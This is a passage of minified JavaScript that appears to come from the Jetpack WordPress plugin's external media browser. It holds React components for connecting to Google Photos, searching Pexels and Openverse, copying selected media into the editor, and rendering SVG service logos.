t?e:e.filter((e=>"mediaType"!==e.value))}(l(u),d);return 0===p.length?null:(0,r.createElement)(o.Fragment,null,(0,r.createElement)(a.SelectControl,{label:__("Filters","jetpack"),value:t,disabled:i||s,options:p,onChange:n}),(0,r.createElement)(a.Button,{disabled:i||s,variant:"secondary",isSmall:!0,onClick:()=>{const r=(a=u,o=t,{...a,[o]:"favorite"===o||""});var a,o;e.setFilters(r),n(c(r))}},__("Add Filter","jetpack")))}},64034:function(e,t,n){"use strict";var r=n(51806),a=n(2772);t.Z=e=>{let{account:t,setAuthenticated:n}=e;const{image:o,name:i}=t||{};return(0,r.createElement)("div",{className:"jetpack-external-media-header__account"},(0,r.createElement)("div",{className:"jetpack-external-media-header__account-info"},o&&(0,r.createElement)("img",{className:"jetpack-external-media-header__account-image",src:o,alt:"",height:"18",width:"18"}),i&&(0,r.createElement)("div",{className:"jetpack-external-media-header__account-name"},i)),(0,r.createElement)(a.Z,{setAuthenticated:n}))}},62494:function(e,t,n){"use strict";var r=n(51806),a=n(39229),o=n(86989),i=n.n(o),s=n(55609),l=n(69307),c=n(65736),u=n(20982),d=n(47285),p=n(53463),m=n(5890);const __=c.__;t.Z=function(e){const{setAuthenticated:t}=e,[n,o]=(0,l.useState)(!1),c=(0,l.useCallback)((()=>{o(!0),i()({path:(0,d.k)("connection",u.iT)}).then((e=>{if(e.error)throw e.message;(0,a.Z)(e.connect_URL,(()=>{o(!1),t(!0)}))})).catch((()=>{o(!1)}))}),[t]);return(0,r.createElement)("div",{className:"jetpack-external-media-auth"},n?(0,r.createElement)(m.Z,null):(0,r.createElement)(p.Z,null),(0,r.createElement)(s.Button,{variant:"primary",disabled:n,onClick:c},__("Connect to Google Photos","jetpack")))}},2772:function(e,t,n){"use strict";var r=n(51806),a=n(86989),o=n.n(a),i=n(55609),s=n(69307),l=n(65736),c=n(20982),u=n(47285);const __=l.__;t.Z=e=>{let{setAuthenticated:t}=e;const[n,a]=(0,s.useState)(!1),l=(0,s.useCallback)((()=>{a(!0),o()({method:"DELETE",path:(0,u.k)("connection",c.iT)}).then((()=>t(!1))).catch((()=>a(!1)))}),[t]);return(0,r.createElement)(i.Button,{variant:"secondary",className:"jetpack-external-media-browser__disconnect",onClick:l,disabled:n,isBusy:n},__("Disconnect from Google Photos","jetpack"))}},20107:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(20982),l=n(11583),c=n(47285),u=n(86167),d=n(4819),p=n(58912),m=n(53800),h=n(64034);const __=i.__;t.Z=function(e){const{account:t,allowedTypes:n,copyMedia:i,getMedia:f,isCopying:g,isLoading:b,media:v,multiple:k,onChangePath:y,pageHandle:E,path:w,setAuthenticated:_,showAdditionalFilters:C=!1}=e,S=(j=n)&&1===j.length&&"image"===j[0];var j;const[x,P]=(0,o.useState)(S?{mediaType:"photo",date:{range:s.CY}}:{date:{range:s.CY}}),L=(0,o.useRef)(""),T=(0,o.useRef)(""),N=w.ID===s.oI?(0,p.Z)(x):null,A={number:20,path:w.ID};N&&(A.filter=N);const R=(0,c.k)("list",s.iT,A),I=(0,o.useCallback)((function(e){f(R,arguments.length>1&&void 0!==arguments[1]&&arguments[1])}),[f,R]),M=(0,o.useCallback)((e=>{const t=v.find((t=>t.ID===e));T.current=w,y(t||{ID:e})}),[v,y,T,w]),B=(0,o.useCallback)((e=>{i(e,(0,c.k)("copy",s.iT),s.iT)}),[i]);return(0,o.useEffect)((()=>{L!==R&&(L.current=R,I({},w!==T.current))}),[L,R,I,w]),(0,r.createElement)("div",{className:"jetpack-external-media-wrapper__google"},(0,r.createElement)("div",{className:"jetpack-external-media-header__view"},(0,r.createElement)(a.SelectControl,{className:"jetpack-external-media-header__select",label:__("View","jetpack"),value:w.ID!==s.oI?s.Tu:s.oI,disabled:b||g,options:s.OG,onChange:M}),C&&w.ID===s.oI&&(0,r.createElement)(m.Z,{filters:x,isLoading:b,setFilters:P,canChangeMedia:!S}),(0,r.createElement)("div",{className:"jetpack-external-media-header__filter"},w.ID===s.oI&&(0,r.createElement)(d.Z,{filters:x,isLoading:b,setFilters:P,canChangeMedia:!S}),w.ID!==s.oI&&w.ID!==s.Tu&&(0,r.createElement)(u.Z,{path:w,setPath:M})),(!b||v.length>0)&&(0,r.createElement)(h.Z,{account:t,setAuthenticated:_})),(0,r.createElement)(l.Z,{className:"jetpack-external-media-browser__google",key:R,media:v,isCopying:g,isLoading:b,nextPage:I,onCopy:B,pageHandle:E,multiple:k,setPath:M}))}},77453:function(e,t,n){"use strict";var r=n(51806),a=n(97893),o=n(62494),i=n(20107);t.Z=(0,a.Z)()((function(e){return e.isAuthenticated?(0,r.createElement)(i.Z,e):(0,r.createElement)(o.Z,e)}))},38457:function(e,t,n){"use strict";n.d(t,{Dv:function(){return u},ZR:function(){return d}});var r=n(51806),a=n(65736),o=n(81427),i=n(20982),s=n(77453),l=n(41214),c=n(12533);const __=a.__,u=[{id:i.iT,label:__("Google Photos","jetpack"),icon:(0,r.createElement)(o.He,{className:"components-menu-items__item-icon"}),keyword:"google photos"},{id:i.wk,label:__("Pexels Free Photos","jetpack"),icon:(0,r.createElement)(o.yk,{className:"components-menu-items__item-icon"}),keyword:"pexels"},{id:i.Eh,label:__("Openverse","jetpack"),icon:(0,r.createElement)(o.FG,{className:"components-menu-items__item-icon"}),keyword:"openverse"}];function d(e){return e===i.wk?c.Z:e===i.iT?s.Z:e===i.Eh?l.Z:null}},41214:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(92819),l=n(20982),c=n(11583),u=n(47285),d=n(97893);const __=i.__;t.Z=(0,d.Z)()((function(e){const{media:t,isCopying:n,isLoading:i,pageHandle:d,multiple:p,copyMedia:m,getMedia:h}=e,[f,g]=(0,o.useState)((0,s.sample)(l.h9)),[b,v]=(0,o.useState)(""),k=(0,o.useCallback)((e=>{m(e,(0,u.k)("copy",l.Eh),l.Eh)}),[m]),y=(0,o.useCallback)((function(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];f&&h((0,u.k)("list",l.Eh,{number:20,search:f}),t)}),[h,f]),E=(0,o.useRef)(),w=(0,o.useCallback)((e=>{e.preventDefault(),v(f),y(e,!0),E.current=f}),[y,f]);(0,o.useEffect)(y,[]);const _=(0,o.useRef)(null);return(0,o.useEffect)((()=>{if(!_?.current)return;const e=_.current.querySelector("input[type='search']");e&&(e.focus(),e.select())}),[]),(0,r.createElement)("div",{className:"jetpack-external-media-wrapper__openverse"},(0,r.createElement)("form",{ref:_,className:"jetpack-external-media-header__openverse",onSubmit:w},(0,r.createElement)(a.TextControl,{"aria-label":__("Search","jetpack"),type:"search",value:f,onChange:g,disabled:!!n}),(0,r.createElement)(a.Button,{isPrimary:!0,onClick:w,type:"submit",disabled:!f.length||f===E.current||n},__("Search","jetpack"))),(0,r.createElement)(c.Z,{key:b,className:"jetpack-external-media-browser__openverse",media:t,isCopying:n,isLoading:i,nextPage:y,onCopy:k,pageHandle:d,multiple:p}))}))},12533:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(92819),l=n(20982),c=n(11583),u=n(47285),d=n(97893);const __=i.__;t.Z=(0,d.Z)()((function(e){const{media:t,isCopying:n,isLoading:i,pageHandle:d,multiple:p,copyMedia:m,getMedia:h}=e,[f,g]=(0,o.useState)((0,s.sample)(l.h9)),[b,v]=(0,o.useState)(""),k=(0,o.useCallback)((e=>{m(e,(0,u.k)("copy",l.wk),l.wk)}),[m]),y=(0,o.useCallback)((function(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];f&&h((0,u.k)("list",l.wk,{number:20,path:"recent",search:f}),t)}),[h,f]),E=(0,o.useRef)(),w=(0,o.useCallback)((e=>{e.preventDefault(),v(f),y(e,!0),E.current=f}),[y,f]);(0,o.useEffect)(y,[]);const _=(0,o.useRef)(null);return(0,o.useEffect)((()=>{if(!_.current)return;const e=Array.from(_.current.elements).find((e=>"search"===e.type));e&&(e.focus(),e.select())}),[]),(0,r.createElement)("div",{className:"jetpack-external-media-wrapper__pexels"},(0,r.createElement)("form",{ref:_,className:"jetpack-external-media-header__pexels",onSubmit:w},(0,r.createElement)(a.TextControl,{"aria-label":__("Search","jetpack"),type:"search",value:f,onChange:g,disabled:!!n}),(0,r.createElement)(a.Button,{variant:"primary",onClick:w,type:"submit",disabled:!f.length||f===E.current||n},__("Search","jetpack"))),(0,r.createElement)(c.Z,{key:b,className:"jetpack-external-media-browser__pexels",media:t,isCopying:n,isLoading:i,nextPage:y,onCopy:k,pageHandle:d,multiple:p}))}))},97893:function(e,t,n){"use strict";n.d(t,{Z:function(){return v}});var r=n(90017),a=n.n(r),o=n(51806),i=n(86989),s=n.n(i),l=n(55609),c=n(94333),u=n(9818),d=n(69307),p=n(65736),m=n(39630),h=n(65235),f=n.n(h),g=n(92819),b=n(20982);const __=p.__;function v(){return(0,c.createHigherOrderComponent)((e=>{class t extends d.Component{constructor(e){var t;super(e),t=this,a()(this,"contentRef",(e=>{e?(this.contentElement=e,this.modalElement=e.closest(".jetpack-external-media-browser"),this.modalElement&&this.modalElement.addEventListener("keydown",this.stopArrowKeysPropagation)):this.modalElement&&(this.modalElement.removeEventListener("keydown",this.stopArrowKeysPropagation),this.modalElement=null,this.contentElement=null)})),a()(this,"stopArrowKeysPropagation",(e=>{[m.UP,m.DOWN,m.LEFT,m.RIGHT].includes(e.keyCode)&&!e.target.classList.contains("jetpack-external-media-browser__media__item")&&e.stopPropagation()})),a()(this,"setAuthenticated",(e=>this.setState({isAuthenticated:e}))),a()(this,"getMedia",(function(e){let n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];t.state.isLoading||(n&&t.props.noticeOperations.removeAllNotices(),t.setState({account:n?t.defaultAccount:t.state.account,isLoading:!0,media:n?[]:t.state.media,nextHandle:!n&&t.state.nextHandle},(()=>t.getMediaRequest(e))))})),a()(this,"handleApiError",(e=>{if("authorization_required"===e.code)return void this.setState({isAuthenticated:!1,isLoading:!1,isCopying:!1});e.errors?.length&&(e={code:e.errors[0].error,message:e.errors[0].message});const{noticeOperations:t}=this.props;t.createErrorNotice("internal_server_error"===e.code?"Internal server error":e.message),this.setState({isLoading:!1,isCopying:!1})})),a()(this,"getMediaRequest",(e=>{const{nextHandle:t,media:n}=this.state;if(!1===t&&n.length>0)return void this.setState({isLoading:!1});const r=this.getRequestUrl(e);this.setAuthenticated(!0),s()({path:r,method:"GET",parse:void 0===window.wpcomFetch}).then((e=>{this.setState({account:e.meta.account,media:this.mergeMedia(n,e.media),nextHandle:e.meta.next_page,isLoading:!1})})).catch(this.handleApiError)})),a()(this,"copyMedia",((e,t,n)=>{var r;this.setState({isCopying:e}),this.props.noticeOperations.removeAllNotices(),this.modalElement&&this.modalElement.focus(),s()({path:t,method:"POST",data:{external_ids:e.map((e=>e.guid)),media:e.map((e=>({guid:e.guid,caption:e.caption,title:e.title}))),service:n,post_id:null!==(r=this.props.postId)&&void 0!==r?r:0}}).then((e=>{e.media&&(e=e.media.map((e=>({alt:e.alt,caption:e.caption,id:e.ID,type:"image",url:e.URL}))));const{value:t,addToGallery:n,multiple:r}=this.props,a=r?e:e[0],o=e.find((e=>e.errors));if(o){const{errors:e}=o,t=Object.keys(e)[0];this.handleApiError({code:t,message:e[t]})}else this.props.onClose(),this.props.onSelect(n?t.concat(e):a)})).catch(this.handleApiError)})),a()(this,"onChangePath",((e,t)=>{this.setState({path:e},t)})),this.defaultAccount={image:"",name:""},this.state={account:this.defaultAccount,media:[],nextHandle:!1,isLoading:!1,isCopying:null,isAuthenticated:!0,path:{ID:b.oI}}}mergeMedia(e,t){return(0,g.uniqBy)(e.concat(t),"ID")}getRequestUrl(e){const{nextHandle:t}=this.state;return t?e+"&page_handle="+encodeURIComponent(t):e}render(){const{account:t,isAuthenticated:n,isCopying:r,isLoading:a,media:i,nextHandle:s,path:c}=this.state,{allowedTypes:u,multiple:d=!1,noticeUI:p,onClose:m}=this.props,h=r?__("Inserting media","jetpack"):__("Select media","jetpack",0),g=r?__("When the media is finished copying and inserting, you will be returned to the editor.","jetpack"):__("Select the media you would like to insert into the editor.","jetpack",0),b="jetpack-external-media-browser__description",v=f()({"jetpack-external-media-browser":!0,"jetpack-external-media-browser--is-copying":r});return(0,o.createElement)(l.Modal,{onRequestClose:m,title:h,aria:{describedby:b},className:v},(0,o.createElement)("div",{ref:this.contentRef},p,(0,o.createElement)("p",{id:b,className:"jetpack-external-media-browser--visually-hidden"},g),(0,o.createElement)(e,{account:t,getMedia:this.getMedia,copyMedia:this.copyMedia,isCopying:r,isLoading:a,media:i,pageHandle:s,allowedTypes:u,isAuthenticated:n,setAuthenticated:this.setAuthenticated,multiple:d,path:c,onChangePath:this.onChangePath})))}}return(0,u.withSelect)((e=>({postId:e("core/editor").getCurrentPostId()})))((0,l.withNotices)(t))}))}},11317:function(e,t,n){"use strict";n.d(t,{Qu:function(){return i}});var r=n(13419),a=n(92819);function o(){return(0,a.get)((0,r.Pb)(),["allowedMimeTypes"],[])}function i(e,t){if(!e||!t)return!1;if(!o())return!1;const n=(r=t)?(0,a.pickBy)(o(),(e=>(0,a.startsWith)(e,`${r}/`))):{};var r;const i=(s=n)?(0,a.flatten)((0,a.map)((0,a.keys)(s),(e=>e.split("|")))):[];var s;if("string"==typeof e){const t=e.split(".").pop();return t&&i.includes(t)}return"object"==typeof e&&(e.type&&(0,a.values)(n).includes(e.type))}},5820:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(4981);function a(){const e=(0,r.getCategories)();for(var t=arguments.length,n=new Array(t),a=0;a<t;a++)n[a]=arguments[a];for(const t of n)if(e.some((e=>{let{slug:n}=e;return n===t})))return t;throw new Error(`Could not find a category from the provided list: ${n.join(",")}`)}},74251:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(96483);function a(e,t){if(!(0,r.isURL)(t))return null;let n=t;try{const a=(0,r.getQueryArg)(t,"state"),o=JSON.parse(atob(a));if(e)o.from_editor_post_id=e;else{const e=new URLSearchParams(window.location.search);o.from_site_editor_post_id=e.get("postId"),o.from_site_editor_post_type=e.get("postType")}n=(0,r.addQueryArgs)(t,{state:btoa(JSON.stringify(o))})}catch(e){0}return n}},99307:function(e,t,n){"use strict";n.d(t,{BM:function(){return s},CG:function(){return o},fH:function(){return a},j3:function(){return l},yn:function(){return i}});var r=n(9818);const a="site",o="widget",i="post",s="customizer",l=()=>(0,r.select)("core/edit-site")?a:(0,r.select)("core/edit-widgets")?o:(0,r.select)("core/customize-widgets")?s:(0,r.select)("core/edit-navigation")?"navigation":(0,r.select)("core/edit-post")?i:"unknown"},4554:function(e,t,n){"use strict";n.d(t,{S:function(){return a}});var r=n(92819);const a=(e,t)=>(0,r.reduce)(t,((t,n,r)=>{if(void 0===e[r])return t;const{type:a,validator:o,validValues:i,default:s}=e[r];return t[r]="boolean"===a?"false"!==n&&!!n:o?o(n)?n:s:i?i.includes(n)?n:s:n,t}),{})},59809:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(65235),s=n.n(i),l=n(73139);t.Z=e=>{let{children:t=null,isError:n=!1,...r}=e;const i=s()("help-message",{"help-message-is-error":n});return t&&(0,o.createElement)("div",a()({className:i},r),n&&(0,o.createElement)(l.Z,{size:"24","aria-hidden":"true",role:"img",focusable:"false"}),(0,o.createElement)("span",null,t))}},81427:function(e,t,n){"use strict";n.d(t,{Ae:function(){return v},FG:function(){return m},He:function(){return p},IM:function(){return g},JO:function(){return f},K9:function(){return y},Pw:function(){return E},h:function(){return k},ll:function(){return w},o1:function(){return _},yk:function(){return h},zf:function(){return b}});var r=n(82674),a=n.n(r),o=n(51806),i=n(80550),s=n(55609),l=n(65235),c=n.n(l),u=n(70355);const d=i.O["Jetpack Green 40"],p=e=>(0,o.createElement)(s.SVG,a()({height:"24",width:"24",viewBox:"1.2 10.8 169.6 169.6",xmlns:"http://www.w3.org/2000/svg"},e),(0,o.createElement)(s.Path,{d:"m43.6 49.4c23.4 0 42.4 19 42.4 42.4v3.9h-80.9c-2.1 0-3.8-1.7-3.9-3.9 0-23.4 19-42.4 42.4-42.4z",fill:"#f6bc04"}),(0,o.createElement)(s.Path,{d:"m132.2 53.2c0 23.4-19 42.4-42.4 42.4h-3.8v-80.9c0-2.1 1.7-3.9 3.8-3.9 23.5 0 42.4 19 42.4 42.4z",fill:"#ea4335"}),(0,o.createElement)(s.Path,{d:"m128.4 141.9c-23.4 0-42.4-19-42.4-42.4v-3.9h80.9c2.1 0 3.9 1.7 3.9 3.8 0 23.5-19 42.5-42.4 42.5z",fill:"#4285f4"}),(0,o.createElement)(s.Path,{d:"m39.8 138c0-23.4 19-42.4 42.4-42.4h3.8v80.9c0 2.1-1.7 3.8-3.9 3.9-23.4 0-42.3-19-42.3-42.4z",fill:"#34a853"})),m=e=>(0,o.createElement)(s.SVG,a()({style:{fill:"#30272e",background:"#ffe033",padding:"3px",width:"22px",height:"24px"},width:"46",height:"42",viewBox:"0 0 46 42",xmlns:"http://www.w3.org/2000/svg"},e),(0,o.createElement)(s.G,null,(0,o.createElement)(s.Path,{d:"M0 9.3975C0 14.5687 4.1722 18.795 9.3353 18.795V0C4.1722 0 0 4.2 0 9.3975Z"}),(0,o.createElement)(s.Path,{d:"M13.6118 9.3975C13.6118 14.5687 17.784 18.795 22.9471 18.795V0C17.8101 0 13.6118 4.2 13.6118 9.3975Z"}),(0,o.createElement)(s.Path,{d:"M36.5589 18.795C41.7147 18.795 45.8942 14.5876 45.8942 9.3975C45.8942 4.2074 41.7147 0 36.5589 0C31.4032 0 27.2236 4.2074 27.2236 9.3975C27.2236 14.5876 31.4032 18.795 36.5589 18.795Z"}),(0,o.createElement)(s.Path,{d:"M0 32.6025C0 37.8 4.1722 42 9.3353 42V23.2312C4.1722 23.2312 0 27.4312 0 32.6025Z"}),(0,o.createElement)(s.Path,{d:"M13.6118 32.5238C13.6118 37.695 17.784 41.9213 22.9471 41.9213V23.1525C17.8101 23.1525 13.6118 27.3525 13.6118 32.5238Z"}),(0,o.createElement)(s.Path,{d:"M36.5589 41.9212C41.7147 41.9212 45.8942 37.7138 45.8942 32.5238C45.8942 27.3337 41.7147 23.1263 36.5589 23.1263C31.4032 23.1263 27.2236 27.3337 27.2236 32.5238C27.2236 37.7138 31.4032 41.9212 36.5589 41.9212Z"}))),h=e=>(0,o.createElement)(s.SVG,a()({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),(0,o.createElement)(s.Path,{d:"M14 7H9v10h3.9v-3.8H14c1.7 0 3.1-1.4 3.1-3.1C17.2 8.4 15.8 7 14 7z"}),(0,o.createElement)(s.Path,{d:"M20.5 2h-17C2.7 2 2 2.7 2 3.5v17c0 .8.7 1.5 1.5 1.5h17c.8 0 1.5-.7 1.5-1.5v-17c0-.8-.7-1.5-1.5-1.5zm-5.6 13.2V19H7V5h7c2.8 0 5.1 2.3 5.1 5.1.1 2.5-1.8 4.7-4.2 5.1z"})),f=()=>{const e="#757575";return(0,o.createElement)(s.SVG,{version:"1.1",id:"Layer_1",xmlns:"http://www.w3.org/2000/SVG",x:"0px",y:"0px",viewBox:"0 0 1292 448",style:{enableBackground:"new 0 0 1292 448"}},(0,o.createElement)(s.G,{id:"Icon"},(0,o.createElement)(s.Path,{class:"st0",fill:"#F6B704",d:"M171.6,177.4c23.4,0,42.4,19,42.4,42.4v3.9h-80.9c-2.1,0-3.8-1.7-3.9-3.9C129.2,196.4,148.2,177.4,171.6,177.4 C171.6,177.4,171.6,177.4,171.6,177.4z"}),(0,o.createElement)(s.Path,{class:"st1",fill:"#E54335",d:"M260.2,181.2c0,23.4-19,42.4-42.4,42.4H214v-80.9c0-2.1,1.7-3.9,3.8-3.9h0 C241.3,138.8,260.2,157.8,260.2,181.2C260.2,181.2,260.2,181.2,260.2,181.2z"}),(0,o.createElement)(s.Path,{class:"st2",fill:"#4280EF",d:"M256.4,269.9c-23.4,0-42.4-19-42.4-42.4v-3.9h80.9c2.1,0,3.9,1.7,3.9,3.8v0 C298.8,250.9,279.8,269.9,256.4,269.9C256.4,269.9,256.4,269.9,256.4,269.9z"}),(0,o.createElement)(s.Path,{class:"st3",fill:"#34A353",d:"M167.8,266c0-23.4,19-42.4,42.4-42.4c0,0,0,0,0,0h3.9v80.9c0,2.1-1.7,3.8-3.9,3.9 C186.7,308.4,167.8,289.4,167.8,266z"})),(0,o.createElement)(s.G,{id:"Photos"},(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M796,272v-91.6h31.2c15.2,0,28.7,11.3,28.7,27.3s-13.4,27.3-28.7,27.3h-19.4V272H796z M827.5,223.6 c8.8,0,16-7.2,16-16s-7.2-16-16-16h-19.7v32H827.5z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M875.8,209.3l-0.5,8.7h0.5c3.3-5.8,11.3-10.8,19.8-10.8c16,0,23.9,10.9,23.9,26.4V272h-11.8v-36.6 c0-13-6.5-17.4-15.5-17.4c-10.2,0-16.5,9.7-16.5,19.3V272H864v-91.6h11.8V209.3z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M993.8,240.6c0,19.1-13.4,33.4-32.2,33.4s-32.2-14.3-32.2-33.4s13.4-33.4,32.2-33.4S993.8,221.6,993.8,240.6z M982,240.6c0-14.3-10-22.6-20.5-22.6s-20.5,8.3-20.5,22.6s10,22.7,20.5,22.7S982,255,982,240.6L982,240.6z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M1008,252.9V220h-11v-10.7h11v-19.2h11.8v19.2h15.3V220h-15.3v32c0,7,2.9,10.2,8.4,10.2c1.8,0.1,3.7-0.3,5.4-1 l4.1,10.1c-3,1.2-6.2,1.8-9.5,1.7C1015,273,1008,265.7,1008,252.9z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M1105.8,240.6c0,19.1-13.4,33.4-32.2,33.4s-32.2-14.3-32.2-33.4s13.4-33.4,32.2-33.4 S1105.8,221.6,1105.8,240.6z M1094,240.6c0-14.3-10-22.6-20.5-22.6s-20.5,8.3-20.5,22.6s10,22.7,20.5,22.7S1094,255,1094,240.6 L1094,240.6z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M1111,256.1l10.5-4.4c3.3,7.9,9.5,11.8,17,11.8c7.3,0,12.5-3.6,12.5-8.8c0-3.2-1.9-6.6-8.6-8.3l-12.7-3.1 c-5.8-1.4-16.8-6.4-16.8-17.4c0-11.4,11.8-18.7,24.8-18.7c10.9,0,20.3,5,24.2,14.6l-10.2,4.2c-2.4-5.9-8.2-8.3-14.3-8.3 c-6.7,0-12.4,3-12.4,8.1c0,4,3.3,6.1,8.3,7.3l12.4,2.9c12.4,2.9,17.3,10.6,17.3,18.3c0,11.1-10,19.7-24.7,19.7 C1123.2,274,1114.7,265.1,1111,256.1z"})),(0,o.createElement)(s.G,{id:"Google"},(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M348.7,221.6c0-28.9,24.3-52.5,53.2-52.5c13.5-0.2,26.4,5,36,14.5l-10.1,10.1c-6.9-6.7-16.2-10.4-25.9-10.2 c-21.1,0-37.6,17-37.6,38.2s16.5,38.1,37.6,38.1c13.7,0,21.5-5.5,26.5-10.5c4.1-4.1,6.8-10,7.8-18H402v-14.4h48.3 c0.5,3,0.8,6,0.8,9c0,10.8-2.9,24.1-12.4,33.5c-9.2,9.6-21,14.7-36.6,14.7C373,274,348.7,250.5,348.7,221.6z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M490,206.5c-18.7,0-33.9,14.2-33.9,33.8S471.3,274,490,274s33.9-14.3,33.9-33.8S508.7,206.5,490,206.5z M490,260.7c-10.2,0-19.1-8.4-19.1-20.5s8.8-20.5,19.1-20.5s19.1,8.3,19.1,20.5S500.2,260.7,490,260.7z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M564,206.5c-18.7,0-33.9,14.2-33.9,33.8S545.3,274,564,274s33.9-14.3,33.9-33.8S582.7,206.5,564,206.5z M564,260.7c-10.2,0-19.1-8.4-19.1-20.5s8.8-20.5,19.1-20.5s19.1,8.3,19.1,20.5S574.2,260.7,564,260.7z"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M654.8,208.5v5.5h-0.5c-3.3-4-9.7-7.6-17.8-7.6c-16.9,0-32.4,14.9-32.4,33.9s15.5,33.7,32.4,33.7 c8.1,0,14.5-3.6,17.8-7.7h0.5v4.9c0,12.9-6.9,19.8-18,19.8c-9.1,0-14.7-6.5-17-12l-12.9,5.4c5,12.1,16.8,20.1,30,20 c17.4,0,32.1-10.2,32.1-35.2v-60.7H654.8z M637.8,260.7c-10.2,0-18.8-8.6-18.8-20.4s8.6-20.6,18.8-20.6s18,8.7,18,20.6 S647.9,260.7,637.8,260.7L637.8,260.7z"}),(0,o.createElement)(s.Rect,{x:"679.2",y:"172.7",class:"st4",fill:e,width:"14.8",height:"99.3"}),(0,o.createElement)(s.Path,{class:"st4",fill:e,d:"M734.7,260.7c-7.6,0-12.9-3.5-16.4-10.2l45.2-18.7L762,228c-2.8-7.6-11.4-21.5-28.9-21.5s-31.9,13.7-31.9,33.8 c0,19,14.3,33.8,33.5,33.8c11.3,0.1,21.9-5.6,28.2-15l-11.5-7.7C747.5,257,742.3,260.7,734.7,260.7z M733.6,219.5 c5.9,0,10.9,2.9,12.5,7.2l-30.2,12.5C715.5,226.2,726,219.5,733.6,219.5L733.6,219.5z"})))},g=e=>{let{size:t=24,border:n=0,className:r,color:a=d}=e;const i=n?-n/t*32:0;return(0,o.createElement)(s.SVG,{className:c()("jetpack-logo",r),width:t,height:t,viewBox:`${i} ${i} ${32-2*i} ${32-2*i}`},(0,o.createElement)(s.Path,{className:"jetpack-logo__icon-circle",fill:a,stroke:n?"#fff":"transparent",strokeWidth:n,d:"M16,0C7.2,0,0,7.2,0,16s7.2,16,16,16s16-7.2,16-16S24.8,0,16,0z"}),(0,o.createElement)(s.Polygon,{className:"jetpack-logo__icon-triangle",fill:"#fff",points:`15,19 ${7-.5*i},19 15,${3-i}`}),(0,o.createElement)(s.Polygon,{className:"jetpack-logo__icon-triangle",fill:"#fff",points:`17,${29+i} 17,13 ${25+.5*i},13`}))},b={foreground:(0,u.m)(),src:(0,o.createElement)(s.SVG,{viewBox:"0 0 100 100"},(0,o.createElement)(s.Path,{d:"M100,44H72.4l23.9-13.8l-6-10.4L66.4,33.6L80.2,9.7l-10.4-6L56,27.59V0H44v27.6L30.2,3.7l-10.4,6l13.8,23.9 L9.7,19.8l-6,10.4L27.6,44H0V56h27.6L3.7,69.8l6,10.4l23.9-13.8L19.8,90.3l10.4,6L44,72.4V100H56V72.41l13.8,23.9l10.4-6L66.4,66.4 l23.9,13.8l6-10.4L72.4,56H100V44z M50,65.23c-8.41,0-15.23-6.82-15.23-15.23c0-8.41,6.82-15.23,15.23-15.23S65.23,41.59,65.23,50 C65.23,58.41,58.41,65.23,50,65.23z"}))},v={foreground:(0,u.m)(),src:(0,o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20.7 17",xmlSpace:"preserve"},(0,o.createElement)(s.Path,{d:"m20.7 12.9-.9-11c0-.5-.2-.9-.5-1.3-.3-.3-.8-.5-1.3-.5L1.9 0h-.1c-.2 0-.5 0-.7.1C.9.2.7.4.5.5.4.7.2.9.1 1.1c-.1.2-.1.5-.1.7v.1l.9 13.4c0 .5.2.9.5 1.3.3.2.8.4 1.3.4H3l16.1-2c.4 0 .9-.3 1.1-.6.3-.3.5-.8.5-1.2v-.3zm-3.1.8L4.2 15.3H4c-.4 0-.8-.1-1-.4-.3-.3-.4-.6-.5-1L1.7 3.2v-.1c0-.4.2-.8.5-1 .3-.3.7-.4 1-.4h.1l13.5.1c.4 0 .8.1 1 .4.3.3.4.6.5 1L19 12v.3c0 .4-.2.7-.4 1-.3.2-.6.4-1 .4z"}))},k={foreground:(0,u.m)(),src:(0,o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 43 43",xmlSpace:"preserve"},(0,o.createElement)(s.Path,{transform:"translate(-25)",fillRule:"evenodd",d:"M37 31.908c0 1.376.893 2.268 2.27 2.268H45.9c3.956 0 7.192-1.337 9.392-3.68H37v1.412zM45.901 9H39.27C37.893 9 37 9.893 37 11.269v1.411h18.294C53.093 10.338 49.857 9 45.9 9zm5.787 16.176c0 1.113.726 1.835 1.845 1.835h3.973c.45-1.117.753-2.345.894-3.671h-4.867c-1.119 0-1.845.722-1.845 1.836zm-5.507-7.166c0 1.113.725 1.836 1.844 1.836H58.4a13.644 13.644 0 00-.894-3.672h-9.481c-1.119 0-1.844.723-1.844 1.836zm1.843 7.166c0-1.114-.726-1.836-1.845-1.836H37v3.671h9.18c1.118 0 1.843-.722 1.843-1.835zm-5.508-7.166c0-1.113-.726-1.836-1.844-1.836H37v3.672h3.672c1.118 0 1.844-.723 1.844-1.836zM83.667 21.209c.296-1.437",clipRule:"evenodd"}))},y={foreground:(0,u.m)(),src:(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24"},(0,o.createElement)(s.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,o.createElement)(s.G,null,(0,o.createElement)(s.Path,{d:"M16.5 4.5c2.206 0 4 1.794 4 4 0 4.67-5.543 8.94-8.5 11.023C9.043 17.44 3.5 13.17 3.5 8.5c0-2.206 1.794-4 4-4 1.298 0 2.522.638 3.273 1.706L12 7.953l1.227-1.746c.75-1.07 1.975-1.707 3.273-1.707m0-1.5c-1.862 0-3.505.928-4.5 2.344C11.005 3.928 9.362 3 7.5 3 4.462 3 